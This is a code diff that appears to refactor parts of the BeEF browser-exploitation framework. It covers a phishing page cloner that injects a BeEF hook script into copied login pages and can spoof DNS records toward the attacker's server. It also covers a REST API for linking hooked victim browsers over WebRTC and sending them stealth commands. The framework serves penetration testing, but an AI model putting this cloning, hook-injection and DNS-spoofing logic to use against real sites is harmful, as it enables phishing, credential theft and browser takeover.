# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
|
|
||||||
# then the phishing link can be used anyway with all the proper parameters to looks legit.
|
|
||||||
if mount.include?("?")
|
|
||||||
mount = mount.split("?").first
|
|
||||||
print_info "Normalizing mount point. You can still use params for the phishing link."
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check if the original URL can be framed
|
|
||||||
frameable = is_frameable(url)
|
|
||||||
|
|
||||||
interceptor = BeEF::Extension::SocialEngineering::Interceptor
|
|
||||||
interceptor.set :redirect_to, url
|
|
||||||
interceptor.set :frameable, frameable
|
|
||||||
interceptor.set :beef_hook, @beef_hook
|
|
||||||
interceptor.set :cloned_page, get_page_content(file_path)
|
|
||||||
interceptor.set :db_entry, persist_page(url, mount)
|
|
||||||
|
|
||||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
|
||||||
if dns_spoof
|
|
||||||
dns = BeEF::Extension::Dns::Server.instance
|
|
||||||
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
|
|
||||||
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
|
|
||||||
ipv6.gsub!(/%\w*$/, '')
|
|
||||||
domain = url.gsub(%r{^http://}, '')
|
|
||||||
|
|
||||||
dns.add_rule(
|
|
||||||
:pattern => domain,
|
|
||||||
:resource => Resolv::DNS::Resource::IN::A,
|
|
||||||
:response => ipv4
|
|
||||||
) unless ipv4.nil?
|
|
||||||
|
|
||||||
dns.add_rule(
|
|
||||||
:pattern => domain,
|
|
||||||
:resource => Resolv::DNS::Resource::IN::AAAA,
|
|
||||||
:response => ipv6
|
|
||||||
) unless ipv6.nil?
|
|
||||||
|
|
||||||
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
|
|
||||||
end
|
|
||||||
|
|
||||||
print_info "Mounting cloned page on URL [#{mount}]"
|
|
||||||
@http_server.mount("#{mount}", interceptor.new)
|
|
||||||
@http_server.remap
|
|
||||||
|
|
||||||
success = true
|
|
||||||
else
|
|
||||||
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
||||||
success = false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
success
|
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
|
||||||
|
|
||||||
|
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
|
||||||
|
|
||||||
|
# Split the URL mounting only the path and ignoring the query string.
|
||||||
|
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
|
||||||
|
# then the phishing link can be used anyway with all the proper parameters to look legit.
|
||||||
|
mount = mount.split('?').first if mount.include?('?')
|
||||||
|
mount = mount.split(';').first if mount.include?(';')
|
||||||
|
|
||||||
|
interceptor = BeEF::Extension::SocialEngineering::Interceptor
|
||||||
|
interceptor.set :redirect_to, url
|
||||||
|
interceptor.set :frameable, url_is_frameable?(url)
|
||||||
|
interceptor.set :beef_hook, @beef_hook
|
||||||
|
interceptor.set :cloned_page, get_page_content(file_path)
|
||||||
|
interceptor.set :db_entry, persist_page(url, mount)
|
||||||
|
|
||||||
|
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||||
|
if dns_spoof
|
||||||
|
dns = BeEF::Extension::Dns::Server.instance
|
||||||
|
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
|
||||||
|
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
|
||||||
|
ipv6.gsub!(/%\w*$/, '')
|
||||||
|
domain = url.gsub(%r{^http://}, '')
|
||||||
|
|
||||||
|
unless ipv4.nil?
|
||||||
|
dns.add_rule(
|
||||||
|
pattern: domain,
|
||||||
|
resource: Resolv::DNS::Resource::IN::A,
|
||||||
|
response: ipv4
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
unless ipv6.nil?
|
||||||
|
dns.add_rule(
|
||||||
|
pattern: domain,
|
||||||
|
resource: Resolv::DNS::Resource::IN::AAAA,
|
||||||
|
response: ipv6
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
|
||||||
|
end
|
||||||
|
|
||||||
|
print_info "Mounting cloned page on URL [#{mount}]"
|
||||||
|
@http_server.mount(mount.to_s, interceptor.new)
|
||||||
|
@http_server.remap
|
||||||
|
|
||||||
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
# Replace </head> with <BeEF_hook></head>
|
# Replace </head> with <BeEF_hook></head>
|
||||||
def add_beef_hook(line)
|
def add_beef_hook(line)
|
||||||
if line.include?("</head>")
|
# @todo why is this an inline replace? and why is the second branch empty?
|
||||||
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
if line.include?('</head>')
|
||||||
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||||
|
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||||
end
|
end
|
||||||
line
|
line
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
# Check if the URL X-Frame-Options header allows the page to be framed.
|
||||||
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
|
# @todo check for framebusting JS code
|
||||||
def is_frameable(url)
|
# @todo check CSP
|
||||||
result = true
|
def url_is_frameable?(url)
|
||||||
begin
|
uri = URI(url)
|
||||||
uri = URI(url)
|
http = Net::HTTP.new(uri.host, uri.port)
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
if uri.scheme == "https"
|
|
||||||
http.use_ssl = true
|
|
||||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
|
||||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
||||||
end
|
|
||||||
end
|
|
||||||
request = Net::HTTP::Get.new(uri.request_uri)
|
|
||||||
response = http.request(request)
|
|
||||||
frame_opt = response["X-Frame-Options"]
|
|
||||||
|
|
||||||
if frame_opt != nil
|
if uri.scheme == 'https'
|
||||||
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
|
http.use_ssl = true
|
||||||
result = false
|
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||||
end
|
|
||||||
end
|
|
||||||
print_info "Page can be framed: [#{result}]"
|
|
||||||
rescue => e
|
|
||||||
result = false
|
|
||||||
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
|
|
||||||
print_debug e
|
|
||||||
#print_debug e.backtrace
|
|
||||||
end
|
end
|
||||||
result
|
|
||||||
|
request = Net::HTTP::Get.new(uri.request_uri)
|
||||||
|
response = http.request(request)
|
||||||
|
frame_opt = response['X-Frame-Options']
|
||||||
|
|
||||||
|
# @todo why is this using casecmp?
|
||||||
|
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
|
||||||
|
print_info "URL can be framed: #{url}"
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
print_info "URL cannot be framed: #{url}"
|
||||||
|
false
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Unable to determine if URL can be framed: #{url}"
|
||||||
|
print_debug e
|
||||||
|
# print_debug e.backtrace
|
||||||
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_page_content(file_path)
|
def get_page_content(file_path)
|
||||||
@@ -204,15 +201,13 @@ module BeEF
|
|||||||
|
|
||||||
def persist_page(uri, mount)
|
def persist_page(uri, mount)
|
||||||
webcloner_db = BeEF::Core::Models::WebCloner.new(
|
webcloner_db = BeEF::Core::Models::WebCloner.new(
|
||||||
:uri => uri,
|
uri: uri,
|
||||||
:mount => mount
|
mount: mount
|
||||||
)
|
)
|
||||||
webcloner_db.save
|
webcloner_db.save
|
||||||
webcloner_db
|
webcloner_db
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -6,13 +6,11 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module WebRTC
|
module WebRTC
|
||||||
|
|
||||||
require 'base64'
|
require 'base64'
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests that manage the
|
# This class handles the routing of RESTful API requests that manage the
|
||||||
# WebRTC Extension
|
# WebRTC Extension
|
||||||
class WebRTCRest < BeEF::Core::Router::Router
|
class WebRTCRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
@@ -41,119 +39,116 @@ module BeEF
|
|||||||
# longer required as client-debugging uses the beef.debug)
|
# longer required as client-debugging uses the beef.debug)
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"from":1, "to":2}
|
# {"from":1, "to":2}
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"success":"true"}
|
# {"success":"true"}
|
||||||
#
|
#
|
||||||
# +++ Example with verbosity on the client-side +++
|
# +++ Example with verbosity on the client-side +++
|
||||||
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"from":1, "to":2, "verbose": true}
|
# {"from":1, "to":2, "verbose": true}
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"success":"true"}
|
# {"success":"true"}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
# -X POST -d '{"from":1,"to":2,"verbose":true}'
|
# -X POST -d '{"from":1,"to":2,"verbose":true}'
|
||||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
post '/go' do
|
post '/go' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
body = JSON.parse(request.body.read)
|
|
||||||
|
|
||||||
fromhb = body['from']
|
fromhb = body['from']
|
||||||
raise InvalidParamError, 'from' if fromhb.nil?
|
raise InvalidParamError, 'from' if fromhb.nil?
|
||||||
tohb = body['to']
|
|
||||||
raise InvalidParamError, 'to' if tohb.nil?
|
|
||||||
verbose = body['verbose']
|
|
||||||
|
|
||||||
result = {}
|
tohb = body['to']
|
||||||
|
raise InvalidParamError, 'to' if tohb.nil?
|
||||||
|
|
||||||
unless [fromhb,tohb].include?(nil)
|
verbose = body['verbose']
|
||||||
if verbose == nil
|
|
||||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
|
||||||
result['success'] = true
|
|
||||||
else
|
|
||||||
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
|
||||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
|
|
||||||
result['success'] = true
|
|
||||||
else
|
|
||||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
|
||||||
result['success'] = true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
|
|
||||||
:target_hooked_browser_id => tohb.to_i,
|
|
||||||
:status => "Initiating..",
|
|
||||||
:created_at => Time.now,
|
|
||||||
:updated_at => Time.now)
|
|
||||||
r.save
|
|
||||||
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
|
|
||||||
:target_hooked_browser_id => fromhb.to_i,
|
|
||||||
:status => "Initiating..",
|
|
||||||
:created_at => Time.now,
|
|
||||||
:updated_at => Time.now)
|
|
||||||
r2.save
|
|
||||||
else
|
|
||||||
result['success'] = false
|
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
result = {}
|
||||||
|
|
||||||
rescue InvalidParamError => e
|
if [fromhb, tohb].include?(nil)
|
||||||
print_error e.message
|
result['success'] = false
|
||||||
halt 400
|
return result.to_json
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
||||||
|
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
|
||||||
|
else
|
||||||
|
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||||
|
end
|
||||||
|
|
||||||
|
r = BeEF::Core::Models::Rtcstatus.new(
|
||||||
|
hooked_browser_id: fromhb.to_i,
|
||||||
|
target_hooked_browser_id: tohb.to_i,
|
||||||
|
status: 'Initiating..',
|
||||||
|
created_at: Time.now,
|
||||||
|
updated_at: Time.now
|
||||||
|
)
|
||||||
|
|
||||||
|
r.save
|
||||||
|
r2 = BeEF::Core::Models::Rtcstatus.new(
|
||||||
|
hooked_browser_id: tohb.to_i,
|
||||||
|
target_hooked_browser_id: fromhb.to_i,
|
||||||
|
status: 'Initiating..',
|
||||||
|
created_at: Time.now,
|
||||||
|
updated_at: Time.now
|
||||||
|
)
|
||||||
|
r2.save
|
||||||
|
|
||||||
|
result['success'] = true
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# @note Get the RTCstatus of a particular browser (and its peers)
|
# @note Get the RTCstatus of a particular browser (and its peers)
|
||||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||||
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
|
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#
|
#
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"success":"true"}
|
# {"success":"true"}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
get '/status/:id' do
|
get '/status/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
||||||
result = {}
|
result = {}
|
||||||
result['success'] = true
|
result['success'] = true
|
||||||
result.to_json
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
rescue InvalidParamError => e
|
print_error e.message
|
||||||
print_error e.message
|
halt 400
|
||||||
halt 400
|
rescue StandardError => e
|
||||||
rescue StandardError => e
|
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
halt 500
|
||||||
halt 500
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
@@ -161,49 +156,48 @@ module BeEF
|
|||||||
# Return JSON with events_count and an array of events
|
# Return JSON with events_count and an array of events
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#
|
#
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
|
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
get '/events/:id' do
|
get '/events/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id)
|
events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
|
||||||
|
|
||||||
events_json = []
|
events_json = []
|
||||||
count = events.length
|
count = events.length
|
||||||
|
|
||||||
events.each do |event|
|
events.each do |event|
|
||||||
events_json << {
|
events_json << {
|
||||||
'id' => event.id.to_i,
|
'id' => event.id.to_i,
|
||||||
'hb_id' => event.hooked_browser_id.to_i,
|
'hb_id' => event.hooked_browser_id.to_i,
|
||||||
'target_id' => event.target_hooked_browser_id.to_i,
|
'target_id' => event.target_hooked_browser_id.to_i,
|
||||||
'status' => event.status.to_s,
|
'status' => event.status.to_s,
|
||||||
'created_at' => event.created_at.to_s,
|
'created_at' => event.created_at.to_s,
|
||||||
'updated_at' => event.updated_at.to_s
|
'updated_at' => event.updated_at.to_s
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
unless events_json.empty?
|
||||||
{
|
{
|
||||||
'events_count' => count,
|
'events_count' => count,
|
||||||
'events' => events_json
|
'events' => events_json
|
||||||
}.to_json if not events_json.empty?
|
}.to_json
|
||||||
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
@@ -211,70 +205,69 @@ module BeEF
|
|||||||
# Return JSON with events_count and an array of events associated with command module execute
|
# Return JSON with events_count and an array of events associated with command module execute
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#
|
#
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
|
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
get '/cmdevents/:id' do
|
get '/cmdevents/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id)
|
events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
|
||||||
|
|
||||||
events_json = []
|
events_json = []
|
||||||
count = events.length
|
count = events.length
|
||||||
|
|
||||||
events.each do |event|
|
events.each do |event|
|
||||||
events_json << {
|
events_json << {
|
||||||
'id' => event.id.to_i,
|
'id' => event.id.to_i,
|
||||||
'hb_id' => event.hooked_browser_id.to_i,
|
'hb_id' => event.hooked_browser_id.to_i,
|
||||||
'target_id' => event.target_hooked_browser_id.to_i,
|
'target_id' => event.target_hooked_browser_id.to_i,
|
||||||
'status' => event.status.to_s,
|
'status' => event.status.to_s,
|
||||||
'created_at' => event.created_at.to_s,
|
'created_at' => event.created_at.to_s,
|
||||||
'updated_at' => event.updated_at.to_s,
|
'updated_at' => event.updated_at.to_s,
|
||||||
'mod' => event.command_module_id
|
'mod' => event.command_module_id
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
unless events_json.empty?
|
||||||
{
|
{
|
||||||
'events_count' => count,
|
'events_count' => count,
|
||||||
'events' => events_json
|
'events' => events_json
|
||||||
}.to_json if not events_json.empty?
|
}.to_json
|
||||||
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while queuing status message for #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||||
# for success messages, IF ANY.
|
# for success messages, IF ANY.
|
||||||
#
|
#
|
||||||
# Input must be specified in JSON format
|
# Input must be specified in JSON format
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"from":1, "to":2, "message":"Just a plain message"}
|
# {"from":1, "to":2, "message":"Just a plain message"}
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"success":"true"}
|
# {"success":"true"}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
@@ -289,74 +282,71 @@ module BeEF
|
|||||||
# If the <to> is stealthed, it'll bounce the message back.
|
# If the <to> is stealthed, it'll bounce the message back.
|
||||||
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
|
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
|
||||||
post '/msg' do
|
post '/msg' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
|
|
||||||
body = JSON.parse(request.body.read)
|
fromhb = body['from']
|
||||||
|
raise InvalidParamError, 'from' if fromhb.nil?
|
||||||
|
|
||||||
fromhb = body['from']
|
tohb = body['to']
|
||||||
raise InvalidParamError, 'from' if fromhb.nil?
|
raise InvalidParamError, 'to' if tohb.nil?
|
||||||
tohb = body['to']
|
|
||||||
raise InvalidParamError, 'to' if tohb.nil?
|
|
||||||
message = body['message']
|
|
||||||
raise InvalidParamError, 'message' if message.nil?
|
|
||||||
|
|
||||||
if message === "!gostealth"
|
message = body['message']
|
||||||
stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil
|
raise InvalidParamError, 'message' if message.nil?
|
||||||
unless stat.nil?
|
|
||||||
stat.status = "Selected browser has commanded peer to enter stealth"
|
if message === '!gostealth'
|
||||||
stat.updated_at = Time.now
|
stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
|
||||||
stat.save
|
unless stat.nil?
|
||||||
end
|
stat.status = 'Selected browser has commanded peer to enter stealth'
|
||||||
stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil
|
stat.updated_at = Time.now
|
||||||
unless stat2.nil?
|
stat.save
|
||||||
stat2.status = "Peer has commanded selected browser to enter stealth"
|
|
||||||
stat2.updated_at = Time.now
|
|
||||||
stat2.save
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
|
||||||
result = {}
|
unless stat2.nil?
|
||||||
|
stat2.status = 'Peer has commanded selected browser to enter stealth'
|
||||||
unless [fromhb,tohb,message].include?(nil)
|
stat2.updated_at = Time.now
|
||||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
stat2.save
|
||||||
result['success'] = true
|
|
||||||
else
|
|
||||||
result['success'] = false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
result.to_json
|
|
||||||
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while queuing message (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
|
||||||
|
if [fromhb, tohb, message].include?(nil)
|
||||||
|
result['success'] = false
|
||||||
|
else
|
||||||
|
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||||
|
result['success'] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
